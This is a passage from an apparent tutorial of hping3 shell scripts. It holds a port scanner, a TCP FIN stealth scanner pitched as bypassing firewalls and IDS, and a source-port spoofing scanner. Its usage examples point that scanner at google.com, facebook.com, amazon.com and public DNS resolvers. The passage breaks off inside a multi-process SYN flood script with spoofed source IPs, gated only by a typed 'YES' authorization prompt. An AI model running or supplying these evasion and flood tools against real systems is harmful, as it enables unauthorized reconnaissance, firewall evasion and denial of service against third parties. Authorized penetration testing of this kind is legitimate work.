        echo "Open Ports:"
        echo "-----------"
        sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port service; do
            printf "%-10s %s\n" "$port/tcp" "$service"
        done
    } > "$REPORT_FILE"
    
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}[*] Report saved to: $REPORT_FILE${NC}"
else
    echo -e "${YELLOW}[-] No open ports found${NC}"
    echo -e "${YELLOW}    Possible reasons:${NC}"
    echo -e "${YELLOW}    • All scanned ports are closed${NC}"
    echo -e "${YELLOW}    • Firewall is blocking connections${NC}"
    echo -e "${YELLOW}    • Target is down or unreachable${NC}"
fi

# Display statistics
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Ports Scanned:${NC}  $TOTAL_PORTS"
echo -e "  ${GREEN}Open Ports:${NC}     $OPEN_COUNT"
if [ "$TOTAL_PORTS" -gt 0 ]; then
    echo -e "  ${RED}Success Rate:${NC}   $(( OPEN_COUNT * 100 / TOTAL_PORTS ))%"
else
    echo -e "  ${RED}Success Rate:${NC}   N/A"
fi
echo -e "  ${BLUE}Scan Duration:${NC}  ${DURATION} seconds"
if [ "$TOTAL_PORTS" -gt 0 ]; then
    echo -e "  ${BLUE}Scan Rate:${NC}      ~$(( TOTAL_PORTS / (DURATION + 1) )) ports/sec"
else
    echo -e "  ${BLUE}Scan Rate:${NC}      N/A"
fi
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Provide recommendations
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo ""
    echo -e "${YELLOW}Security Recommendations:${NC}"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Check for risky services
    if grep -q "23:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${RED}⚠ Telnet (port 23) is insecure - use SSH instead${NC}"
    fi
    if grep -q "21:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ FTP (port 21) transmits credentials in plaintext${NC}"
    fi
    if grep -q "139:\|445:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ SMB/NetBIOS ports are exposed - ensure proper access controls${NC}"
    fi
    if grep -q "3389:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ RDP (port 3389) is exposed - use VPN or restrict access${NC}"
    fi
    if grep -q "3306:\|5432:\|1433:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ Database ports are exposed - should not be publicly accessible${NC}"
    fi
fi

echo ""
exit 0
EOF

chmod +x ~/hping3-scripts/common_ports_scan.sh

How to Run:

# Scan default common ports
./common_ports_scan.sh example.com

# Scan web server ports
./common_ports_scan.sh example.com web

# Scan database ports
./common_ports_scan.sh example.com database

# Scan top 100 ports
./common_ports_scan.sh example.com top100

# Scan top 1000 ports with 100 threads
./common_ports_scan.sh example.com top1000 100

# Custom port list
./common_ports_scan.sh example.com "22,80,443,3306,8080"

# Get help
./common_ports_scan.sh --help

Default Ports Included:
– **21**: FTP (File Transfer Protocol)
– **22**: SSH (Secure Shell)
– **23**: Telnet
– **25**: SMTP (Simple Mail Transfer Protocol)
– **53**: DNS (Domain Name System)
– **80**: HTTP (Hypertext Transfer Protocol)
– **443**: HTTPS (HTTP Secure)
– **3306**: MySQL Database
– **3389**: RDP (Remote Desktop Protocol)
– **5432**: PostgreSQL Database

Script 6: Stealth FIN Scanner

Purpose:


Performs FIN scanning, a stealth technique that sends TCP packets with only the FIN flag set. This can bypass some firewalls and intrusion detection systems that only monitor SYN packets.

Create the Script:

cat > ~/hping3-scripts/fin_scan.sh << 'EOF'
#!/bin/zsh

# TCP FIN Scanner using hping3
# Performs stealthy FIN scans to detect firewall rules and port states
# FIN scanning is a stealth technique that may bypass some firewalls
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
PORT_SPEC="${2:-80}"
COUNT="${3:-2}"
DELAY="${4:-1}"

# Function to print usage
print_usage() {
    local script_name="./fin_scan.sh"
    echo "Usage: $script_name <target> [port|port_range] [count] [delay]"
    echo ""
    echo "Parameters:"
    echo "  target      - Hostname or IP address to scan"
    echo "  port        - Single port or range (e.g., 80 or 80-90)"
    echo "  count       - Number of FIN packets per port (default: 2)"
    echo "  delay       - Delay between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                # Scan port 80"
    echo "  $script_name example.com 443            # Scan port 443"
    echo "  $script_name example.com 80-85          # Scan ports 80-85"
    echo "  $script_name 192.168.1.1 22 3 0.5       # 3 packets, 0.5s delay"
    echo ""
    echo "FIN Scan Technique:"
    echo "  - Sends TCP packets with only FIN flag set"
    echo "  - CLOSED ports respond with RST"
    echo "  - OPEN ports typically don't respond (stealth)"
    echo "  - FILTERED ports may send ICMP or no response"
    echo ""
    echo "Response Interpretation:"
    echo "  RST received    = Port is CLOSED"
    echo "  No response     = Port is likely OPEN or FILTERED"
    echo "  ICMP received   = Port is FILTERED by firewall"
}

# Function to validate port
validate_port() {
    local port=$1
    if ! [[ "$port" =~ ^[0-9]+$ ]]; then
        return 1
    fi
    if [ "$port" -lt 1 ] || [ "$port" -gt 65535 ]; then
        return 1
    fi
    return 0
}

# Function to get service name
get_service_name() {
    local port=$1
    # Trim any whitespace from port number
    port=$(echo "$port" | tr -d ' ')
    # Common services
    case $port in
        21) echo "FTP" ;;
        22) echo "SSH" ;;
        23) echo "Telnet" ;;
        25) echo "SMTP" ;;
        53) echo "DNS" ;;
        80) echo "HTTP" ;;
        110) echo "POP3" ;;
        143) echo "IMAP" ;;
        443) echo "HTTPS" ;;
        445) echo "SMB" ;;
        3306) echo "MySQL" ;;
        3389) echo "RDP" ;;
        5432) echo "PostgreSQL" ;;
        6379) echo "Redis" ;;
        8080) echo "HTTP-Alt" ;;
        8443) echo "HTTPS-Alt" ;;
        27017) echo "MongoDB" ;;
        *)
            # Try system services
            local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
            if [[ -n "$service" ]]; then
                echo "$service"
            else
                echo "Unknown"
            fi
            ;;
    esac
}

# Function to perform FIN scan on a single port
scan_port() {
    local target=$1
    local port=$2
    local count=$3
    local delay=$4
    
    local service=$(get_service_name "$port")
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}Scanning Port:${NC} $port/tcp ($service)"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    local responses=0
    local rst_count=0
    local icmp_count=0
    local no_response=0
    
    for i in $(seq 1 $count); do
        echo -e "${YELLOW}[→] Sending FIN packet $i/$count to port $port...${NC}"
        
        # Run hping3 with FIN flag
        local result=$(hping3 -F -p "$port" -c 1 "$target" 2>&1)
        
        # Analyze response
        if echo "$result" | grep -q "flags=RA\|flags=R"; then
            echo -e "${RED}[←] RST received - Port $port is CLOSED${NC}"
            ((rst_count++))
            ((responses++))
        elif echo "$result" | grep -q "ICMP"; then
            echo -e "${YELLOW}[←] ICMP received - Port $port is FILTERED${NC}"
            ((icmp_count++))
            ((responses++))
        elif echo "$result" | grep -q "timeout\|100% packet loss"; then
            echo -e "${GREEN}[◊] No response - Port $port may be OPEN or heavily FILTERED${NC}"
            ((no_response++))
        else
            # Check for any other response
            if echo "$result" | grep -q "len="; then
                echo -e "${BLUE}[←] Unexpected response received${NC}"
                ((responses++))
            else
                echo -e "${GREEN}[◊] No response - Port $port may be OPEN${NC}"
                ((no_response++))
            fi
        fi
        
        # Add delay between packets
        if [ "$i" -lt "$count" ] && [ "$delay" != "0" ]; then
            sleep "$delay"
        fi
    done
    
    # Port state analysis
    echo ""
    echo -e "${CYAN}Port $port Analysis:${NC}"
    echo -e "  Packets sent: $count"
    echo -e "  RST responses: $rst_count"
    echo -e "  ICMP responses: $icmp_count"
    echo -e "  No responses: $no_response"
    
    # Determine likely port state
    if [ "$rst_count" -gt 0 ]; then
        echo -e "  ${RED}▸ Verdict: Port $port is CLOSED${NC}"
    elif [ "$icmp_count" -gt 0 ]; then
        echo -e "  ${YELLOW}▸ Verdict: Port $port is FILTERED (firewall blocking)${NC}"
    elif [ "$no_response" -eq "$count" ]; then
        echo -e "  ${GREEN}▸ Verdict: Port $port is likely OPEN or silently FILTERED${NC}"
        echo -e "  ${CYAN}  Note: No response to FIN often indicates OPEN port${NC}"
    else
        echo -e "  ${BLUE}▸ Verdict: Port $port state is UNCERTAIN${NC}"
    fi
    
    return $responses
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Parse port specification (single port or range)
START_PORT=""
END_PORT=""

if [[ "$PORT_SPEC" =~ ^([0-9]+)-([0-9]+)$ ]]; then
    # Port range (zsh compatible)
    START_PORT="${match[1]}"
    END_PORT="${match[2]}"
    
    # Validate range
    if ! validate_port "$START_PORT" || ! validate_port "$END_PORT"; then
        echo -e "${RED}Error: Invalid port range${NC}"
        exit 1
    fi
    
    if [ "$START_PORT" -gt "$END_PORT" ]; then
        echo -e "${RED}Error: Start port must be less than or equal to end port${NC}"
        exit 1
    fi
elif [[ "$PORT_SPEC" =~ ^[0-9]+$ ]]; then
    # Single port
    if ! validate_port "$PORT_SPEC"; then
        echo -e "${RED}Error: Port must be between 1-65535${NC}"
        exit 1
    fi
    START_PORT="$PORT_SPEC"
    END_PORT="$PORT_SPEC"
else
    echo -e "${RED}Error: Invalid port specification${NC}"
    echo "Use a single port (e.g., 80) or range (e.g., 80-90)"
    exit 1
fi

# Validate count
if ! [[ "$COUNT" =~ ^[0-9]+$ ]] || [ "$COUNT" -lt 1 ]; then
    echo -e "${RED}Error: Count must be a positive number${NC}"
    exit 1
fi

# Validate delay
if ! [[ "$DELAY" =~ ^[0-9]*\.?[0-9]+$ ]]; then
    echo -e "${RED}Error: Delay must be a number${NC}"
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: FIN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total ports
TOTAL_PORTS=$((END_PORT - START_PORT + 1))

# Display header
echo -e "${MAGENTA}╔════════════════════════════════════════╗${NC}"
echo -e "${MAGENTA}║         TCP FIN SCANNER                ║${NC}"
echo -e "${MAGENTA}║      (Stealth Scan Technique)          ║${NC}"
echo -e "${MAGENTA}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}         $TARGET"
if [ "$START_PORT" -eq "$END_PORT" ]; then
    echo -e "  ${BLUE}Port:${NC}           $START_PORT"
else
    echo -e "  ${BLUE}Port Range:${NC}     $START_PORT-$END_PORT ($TOTAL_PORTS ports)"
fi
echo -e "  ${BLUE}Packets/Port:${NC}   $COUNT"
echo -e "  ${BLUE}Packet Delay:${NC}   ${DELAY}s"
echo -e "  ${BLUE}Scan Type:${NC}      TCP FIN (Stealth)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Resolve target
echo ""
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting FIN scan...${NC}"
echo -e "${CYAN}[i] FIN scan sends TCP packets with only the FIN flag set${NC}"
echo -e "${CYAN}[i] This technique may bypass some packet filters and IDS${NC}"

# Results tracking
declare -A PORT_STATES
OPEN_PORTS=""
CLOSED_PORTS=""
FILTERED_PORTS=""

# Main scanning loop
for port in $(seq $START_PORT $END_PORT); do
    scan_port "$TARGET_IP" "$port" "$COUNT" "$DELAY"
    
    # Store result based on responses
    if [ $? -eq 0 ]; then
        # No responses likely means open
        OPEN_PORTS="${OPEN_PORTS}$port "
        PORT_STATES[$port]="OPEN/FILTERED"
    fi
done

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Generate summary report
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}         SCAN SUMMARY${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count results
OPEN_COUNT=$(echo "$OPEN_PORTS" | wc -w | tr -d ' ')
CLOSED_COUNT=$(echo "$CLOSED_PORTS" | wc -w | tr -d ' ')
FILTERED_COUNT=$(echo "$FILTERED_PORTS" | wc -w | tr -d ' ')

echo -e "${BLUE}Scan Results:${NC}"
echo -e "  Total Ports Scanned: $TOTAL_PORTS"
echo -e "  Likely Open/Filtered: $OPEN_COUNT"
echo -e "  Confirmed Closed: $CLOSED_COUNT"
echo -e "  Confirmed Filtered: $FILTERED_COUNT"
echo -e "  Scan Duration: ${DURATION} seconds"

if [ "$OPEN_COUNT" -gt 0 ]; then
    echo ""
    echo -e "${GREEN}Potentially Open Ports:${NC}"
    for port in $OPEN_PORTS; do
        service=$(get_service_name "$port")
        echo -e "  ${GREEN}▸${NC} Port $port/tcp - $service"
    done
fi

# Save report to file
REPORT_FILE="fin_scan_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
{
    echo "TCP FIN Scan Report"
    echo "==================="
    echo "Target: $TARGET ($TARGET_IP)"
    echo "Port Range: $START_PORT-$END_PORT"
    echo "Scan Date: $(date)"
    echo "Duration: ${DURATION} seconds"
    echo "Technique: TCP FIN (Stealth Scan)"
    echo ""
    echo "Results:"
    echo "--------"
    echo "Likely Open/Filtered: $OPEN_COUNT"
    echo "Confirmed Closed: $CLOSED_COUNT"
    echo "Confirmed Filtered: $FILTERED_COUNT"
    
    if [ "$OPEN_COUNT" -gt 0 ]; then
        echo ""
        echo "Potentially Open Ports:"
        for port in $OPEN_PORTS; do
            service=$(get_service_name "$port")
            echo "  Port $port/tcp - $service"
        done
    fi
} > "$REPORT_FILE"

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${BLUE}[*] Report saved to: $REPORT_FILE${NC}"
echo ""
echo -e "${YELLOW}Important Notes:${NC}"
echo -e "${CYAN}• FIN scanning is a stealth technique${NC}"
echo -e "${CYAN}• No response often indicates an OPEN port${NC}"
echo -e "${CYAN}• RST response indicates a CLOSED port${NC}"
echo -e "${CYAN}• Results may vary based on firewall rules${NC}"
echo -e "${CYAN}• Some systems may not follow RFC standards${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/fin_scan.sh

How to Run:

# Scan default port 80
./fin_scan.sh example.com

# Scan specific port
./fin_scan.sh example.com 443

# Scan port range
./fin_scan.sh example.com 80-85

# Custom parameters
./fin_scan.sh 192.168.1.1 22 3 0.5

# Quick single packet scan
./fin_scan.sh server.com 80-443 1 0

# Get help
./fin_scan.sh --help

Response Interpretation:
– **No response**: Port likely open (or filtered)
– **RST response**: Port closed
– **ICMP unreachable**: Port filtered

Script 7: Source Port Spoofing

Purpose:
Modifies the source port of outgoing packets to bypass firewall rules that allow traffic from specific “trusted” ports like DNS (53) or FTP-DATA (20).

Create the Script:

cat > ~/hping3-scripts/source_port_scan.sh << 'EOF'
#!/bin/zsh

# Source Port Spoofing Scanner using hping3
# Attempts to bypass firewalls that trust certain source ports
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments early
TARGET="$1"
DEST_PORT="${2:-80}"
SOURCE_PORT="${3:-53}"
COUNT="${4:-1}"

# Function to print usage
print_usage() {
    local script_name="./source_port_scan.sh"
    echo "Usage: $script_name <target> [dest_port] [source_port] [count]"
    echo ""
    echo "Parameters:"
    echo "  target       - Hostname or IP address to scan"
    echo "  dest_port    - Destination port to scan (default: 80)"
    echo "  source_port  - Source port to spoof (default: 53)"
    echo "  count        - Number of packets to send (default: 1)"
    echo ""
    echo "Common trusted source ports:"
    echo "  53 (DNS), 20 (FTP-DATA), 123 (NTP), 67/68 (DHCP)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                  # Scan port 80 from source port 53"
    echo "  $script_name example.com 443               # Scan port 443 from source port 53"
    echo "  $script_name example.com 80 20             # Scan port 80 from source port 20"
    echo "  $script_name example.com 80 53 3           # Send 3 packets"
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: Source port scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Map common source ports to names
declare -A source_services
source_services[53]="DNS"
source_services[20]="FTP-DATA"
source_services[123]="NTP"
source_services[67]="DHCP"
source_services[68]="DHCP"
source_services[88]="Kerberos"
source_services[500]="IKE/IPSec"

SERVICE_NAME=${source_services[$SOURCE_PORT]:-"Custom"}

# Display header
echo -e "${MAGENTA}╔════════════════════════════════════════╗${NC}"
echo -e "${MAGENTA}║    SOURCE PORT SPOOFING SCANNER       ║${NC}"
echo -e "${MAGENTA}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}         $TARGET:$DEST_PORT"
echo -e "  ${BLUE}Source Port:${NC}    $SOURCE_PORT ($SERVICE_NAME)"
echo -e "  ${BLUE}Packet Count:${NC}   $COUNT"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""
echo -e "${YELLOW}[*] Attempting to bypass firewall rules that trust source port $SOURCE_PORT${NC}"
echo -e "${CYAN}[i] Some firewalls allow traffic from 'trusted' source ports${NC}"
echo ""

# Resolve target
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

echo ""
echo -e "${GREEN}[+] Starting source port spoofing scan...${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

OPEN_COUNT=0
CLOSED_COUNT=0
FILTERED_COUNT=0

for i in $(seq 1 $COUNT); do
    echo -e "${CYAN}[→] Sending SYN packet $i/$COUNT from port $SOURCE_PORT...${NC}"
    result=$(hping3 -S -p $DEST_PORT -s $SOURCE_PORT -c 1 $TARGET_IP 2>&1)
    
    if echo "$result" | grep -q "flags=SA\|flags=S\.A"; then
        echo -e "${GREEN}[✓] Port $DEST_PORT appears OPEN (SYN+ACK received)${NC}"
        echo -e "${GREEN}    → Source port spoofing may have bypassed filtering!${NC}"
        ((OPEN_COUNT++))
    elif echo "$result" | grep -q "flags=RA\|flags=R"; then
        echo -e "${RED}[✗] Port $DEST_PORT appears CLOSED (RST received)${NC}"
        ((CLOSED_COUNT++))
    elif echo "$result" | grep -q "ICMP"; then
        icmp_type=$(echo "$result" | grep -oE "ICMP [^,]+" | head -1)
        echo -e "${YELLOW}[!] ICMP response received: $icmp_type${NC}"
        echo -e "${YELLOW}    → Port is likely FILTERED by firewall${NC}"
        ((FILTERED_COUNT++))
    elif echo "$result" | grep -q "100% packet loss\|timeout"; then
        echo -e "${YELLOW}[?] No response - Port $DEST_PORT may be FILTERED${NC}"
        ((FILTERED_COUNT++))
    else
        # Check for any response
        if echo "$result" | grep -q "len="; then
            echo -e "${BLUE}[←] Unexpected response received${NC}"
            echo "$result" | grep "len=" | head -1
        else
            echo -e "${YELLOW}[?] No response - Port $DEST_PORT may be FILTERED${NC}"
            ((FILTERED_COUNT++))
        fi
    fi
    
    if [ "$i" -lt "$COUNT" ]; then
        sleep 0.5
    fi
done

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}         SCAN SUMMARY${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""
echo -e "${BLUE}Target:${NC} $TARGET ($TARGET_IP)"
echo -e "${BLUE}Port Scanned:${NC} $DEST_PORT"
echo -e "${BLUE}Source Port Used:${NC} $SOURCE_PORT ($SERVICE_NAME)"
echo ""

if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}▸ Verdict: Port $DEST_PORT is OPEN${NC}"
    echo -e "${GREEN}  ✓ Source port $SOURCE_PORT successfully bypassed filtering!${NC}"
    echo -e "${YELLOW}  ⚠ Warning: Firewall may be misconfigured to trust port $SOURCE_PORT${NC}"
elif [ "$CLOSED_COUNT" -gt 0 ]; then
    echo -e "${RED}▸ Verdict: Port $DEST_PORT is CLOSED${NC}"
    echo -e "${CYAN}  Note: Port responded normally regardless of source port${NC}"
else
    echo -e "${YELLOW}▸ Verdict: Port $DEST_PORT is FILTERED${NC}"
    echo -e "${CYAN}  Note: Source port $SOURCE_PORT did not bypass filtering${NC}"
    echo -e "${CYAN}  The firewall is properly configured against source port spoofing${NC}"
fi

echo ""
echo -e "${BLUE}Results Summary:${NC}"
echo -e "  Open responses: $OPEN_COUNT"
echo -e "  Closed responses: $CLOSED_COUNT"
echo -e "  Filtered/No response: $FILTERED_COUNT"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

echo ""
echo -e "${YELLOW}Security Notes:${NC}"
echo -e "${CYAN}• Source port spoofing tests firewall trust relationships${NC}"
echo -e "${CYAN}• Some older firewalls trust traffic from DNS (53) or FTP-DATA (20)${NC}"
echo -e "${CYAN}• Modern firewalls should not trust source ports alone${NC}"
echo -e "${CYAN}• This technique is often combined with other evasion methods${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/source_port_scan.sh

How to Run:

# Basic Examples
./source_port_scan.sh google.com                      # Default: port 80, source port 53 (DNS), 1 packet
./source_port_scan.sh github.com 443                  # Scan HTTPS port with DNS source port
./source_port_scan.sh example.com 80 20               # Use FTP-DATA source port (20)
./source_port_scan.sh cloudflare.com 443 53 5         # Send 5 packets for reliability

# Advanced Examples
./source_port_scan.sh 192.168.1.1 22 123 3           # SSH scan with NTP source port
./source_port_scan.sh internalserver.local 3306 68 2  # MySQL scan with DHCP client port
./source_port_scan.sh api.example.com 8080 1337 3     # Custom source port 1337

# Testing Web Servers
./source_port_scan.sh mywebsite.com 80 53 3          # HTTP with DNS source
./source_port_scan.sh mywebsite.com 443 53 3         # HTTPS with DNS source

# Testing Multiple Trusted Ports on Same Target
./source_port_scan.sh target.com 80 53 2             # DNS source port
./source_port_scan.sh target.com 80 20 2             # FTP-DATA source port
./source_port_scan.sh target.com 80 123 2            # NTP source port
./source_port_scan.sh target.com 80 67 2             # DHCP source port

# Internal Network Testing
./source_port_scan.sh 10.0.1.100 445 53 3            # SMB with DNS source
./source_port_scan.sh 10.0.1.100 3389 53 3           # RDP with DNS source

# Testing Popular Services
./source_port_scan.sh google.com 80 53 2             # Google HTTP
./source_port_scan.sh facebook.com 443 53 2          # Facebook HTTPS
./source_port_scan.sh amazon.com 443 20 2            # Amazon with FTP-DATA source

# Testing DNS Servers
./source_port_scan.sh 8.8.8.8 53 123 2               # Google DNS with NTP source
./source_port_scan.sh 1.1.1.1 53 20 2                # Cloudflare DNS with FTP-DATA source

# Help Command
./source_port_scan.sh --help                         # Show usage information
./source_port_scan.sh -h                             # Alternative help flag

Common Trusted Source Ports:
– **53**: DNS – Often allowed through firewalls
– **20**: FTP-DATA – May be trusted for FTP connections
– **123**: NTP – Network Time Protocol, often allowed
– **67/68**: DHCP – Dynamic Host Configuration Protocol

Script 8: SYN Flood Attack (Multi-Process)

Purpose:
Performs multi-process SYN flood attacks for authorized DoS testing. This script includes extensive safety measures and authorization checks.

Create the Script:

cat > ~/hping3-scripts/syn_flood_attack.sh << 'EOF'
#!/bin/zsh

# Function to generate a random IP from a CIDR block
generate_random_ip_from_cidr() {
    local cidr=$1
    local ip_base=${cidr%/*}
    local cidr_bits=${cidr#*/}
    
    # Convert IP to integer
    local ip_parts=(${(s:.:)ip_base})
    local ip_int=$(( (ip_parts[1] << 24) + (ip_parts[2] << 16) + (ip_parts[3] << 8) + ip_parts[4] ))
    
    # Calculate host bits and range
    local host_bits=$((32 - cidr_bits))
    local max_hosts=$((2 ** host_bits - 1))
    
    # Generate random offset within the range
    local random_offset=$((RANDOM % (max_hosts + 1)))
    
    # Add offset to base IP
    local new_ip_int=$((ip_int + random_offset))
    
    # Convert back to IP format
    local octet1=$(( (new_ip_int >> 24) & 255 ))
    local octet2=$(( (new_ip_int >> 16) & 255 ))
    local octet3=$(( (new_ip_int >> 8) & 255 ))
    local octet4=$(( new_ip_int & 255 ))
    
    echo "${octet1}.${octet2}.${octet3}.${octet4}"
}

syn_flood_attack() {
    local target=$1
    local port=$2
    local packet_count=$3
    local processes=$4
    local source_cidr=$5  # Optional CIDR block for source IP randomization
    
    if [ -z "$target" ] || [ -z "$port" ] || [ -z "$packet_count" ] || [ -z "$processes" ]; then
        echo "Usage: syn_flood_attack <target> <port> <packet_count> <processes> [source_cidr]"
        echo "Example: syn_flood_attack example.com 80 1000 4"
        echo "Example with CIDR: syn_flood_attack example.com 80 1000 4 192.168.1.0/24"
        echo ""
        echo "WARNING: This is a DoS attack tool!"
        echo "Only use on systems you own or have explicit permission to test!"
        return 1
    fi
    
    echo "=========================================="
    echo "           SYN FLOOD ATTACK"
    echo "=========================================="
    echo "Target: $target:$port"
    echo "Total packets: $packet_count"
    echo "Processes: $processes"
    echo "Packets per process: $((packet_count / processes))"
    if [ -n "$source_cidr" ]; then
        echo "Source CIDR: $source_cidr"
    else
        echo "Source IPs: Random (--rand-source)"
    fi
    echo ""
    echo "⚠️  WARNING: This will perform a SYN flood attack!"
    echo "⚠️  Only use on systems you own or have explicit permission to test!"
    echo "⚠️  Unauthorized DoS attacks are illegal!"
    echo ""
    echo -n "Do you have authorization to test this target? (type 'YES' to continue): "
    read confirm
    
    if [[ "$confirm" != "YES" ]]; then
        echo "❌ Attack aborted - explicit authorization required"
        return 1
    fi
    
    local packets_per_process=$((packet_count / processes))
    local remaining_packets=$((packet_count % processes))
    
    echo "✅ Starting SYN flood with $processes processes..."
    echo "📊 Monitor system resources during attack"
    
    # Create log directory
    local log_dir="/tmp/syn_flood_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$log_dir"
    
    # Start background processes
    local pids=()
    for ((i=1; i<=processes; i++)); do
        local current_packets=$packets_per_process
        # Add remaining packets to the last process
        if [ $i -eq $processes ]; then
            current_packets=$((packets_per_process + remaining_packets))
        fi
        
        echo "🚀 Starting process $i with $current_packets packets"
        (
            echo "Process $i started at $(date)" > "$log_dir/process_$i.log"
            
            if [ -n "$source_cidr" ]; then
                # Use CIDR block for source IP randomization
                echo "Using source CIDR: $source_cidr" >> "$log_dir/process_$i.log"
                
                # Send packets with randomized source IPs from CIDR block
                # We'll send packets in smaller batches to vary the source IP
